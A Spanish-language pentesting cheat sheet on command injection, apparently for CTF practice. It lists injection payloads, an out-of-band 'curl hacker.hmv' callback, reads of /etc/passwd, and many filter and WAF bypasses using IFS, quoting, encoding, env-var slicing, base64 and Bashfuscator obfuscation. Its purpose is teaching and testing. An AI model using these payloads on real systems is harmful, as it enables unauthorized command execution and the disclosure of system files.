Skip to content

Command Injection

Teoria

Command Injection permite ejecutar comandos en el server donde se ejecuta la aplicacion. Ocurre cuando la aplicacion no sanea los datos del usuario y los manda a una funcion que los ejecuta en el sistema.

Tipos Command Injection

In-band Command Injection:

  1. Identificar input ejecutado por el sistema
  2. Probar separadores ; && ||
  3. Ejecutar comandos visibles
; whoami
&& uname -a
| ls

Blind Command Injection

  1. Preparar listener
  2. Inyectar payload
  3. Confirmar ejecución OOB
  4. Ajustar payload
; ping -c 1 hacker.hmv
&& curl hacker.hmv

Time-Based

  1. Medir tiempo de respuesta normal
  2. Inyectar sleep/ping
  3. Detectar retraso
; sleep 5
&& ping -c 5 127.0.0.1

Workflow

  1. Detectar puntos de entrada

    • GET/POST.
    • Headers: User-Agent, Referer, X-Forwarded-For.
    • Cookies: Sesiones etc...
    • Filenames: Nombre de archivo y metadatos.
  2. Probar caracteres blacklisted y whitelisted.

    p=127.0.0.1;
    p=127.0.0.1&
    p=127.0.0.1%0a
    

Nota

Se puede usar ffuf con el diccionario de SecLists Fuzzing/command-injection-commix.txt

  1. Confirmar ejecucion

    ; whoami
    && uname -a
    | ls
    

  2. Si al agregar nuestro payload da error, bypassear espacios, caracteres/palabra blacklisted.

Bypasses

Bypass de separadores

Si los separaddores como ; && || | estan filtrados:

p=127.0.0.1%0a%09
%0a
%0d

Bypass de espacios/tabs

Para bypassear espacios/tabs.

cat${IFS}/etc/passwd
%09
127.0.0.1%0a${IFS}
127.0.0.1%0a{ls,-la}
127.0.0.1%0a{cat,/etc/passwd}
127.0.0.1%0a${IFS}ls${IFS}-la

Bypass WAF / Comandos blacklisted

Si comandos como cat,ls,id,whoami estan bloqueados:

w'h'o'a'm'i
w'h'o'am'i
w"h"o"am"i
who$@ami
w\ho\am\i
$(echo id)
echo id | base64 -d | sh
127.0.0.1%0aw'h'o'am'i

Bypass de filtros por encoding

Si filtra caracteres especiales se puede encodear.

Encoding Ejemplo
URL encode %3B%20id
Double URL %253B%2520id
Hex \x69\x64
Unicode \u0069\u0064
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

Bypass caracteres usando ENV.

echo ${PATH:0:1}
/
echo ${LS_COLORS:10:1}
;

Para añadir un punto y coma,espacio+id:
127.0.0.1${LS_COLORS:10:1}${IFS}id

Case Sensitive

Se puede modificar el comando haciendole reverse, convirtiendolo en base64 etc...

$(tr "[A-Z]" "[a-z]"<<<"whOaMi")
$(a="whOaMi";printf %s "${a,,}")
echo 'whoami' | rev
$(rev<<<'imaohw')

Podemos convertir a base64 para luego desconvertirlo.

echo -n 'cat /etc/passwd | grep 33' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Nota

Se pueden encontrar mas payloads en: PayloadsAllTheThings

Evasion tools

Bashfuscator

Para instalarlo

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
cd ./bashfuscator/bin/

Para pasarle el comando que queremos ofuscar:

bashfuscator -c "cat /etc/passwd"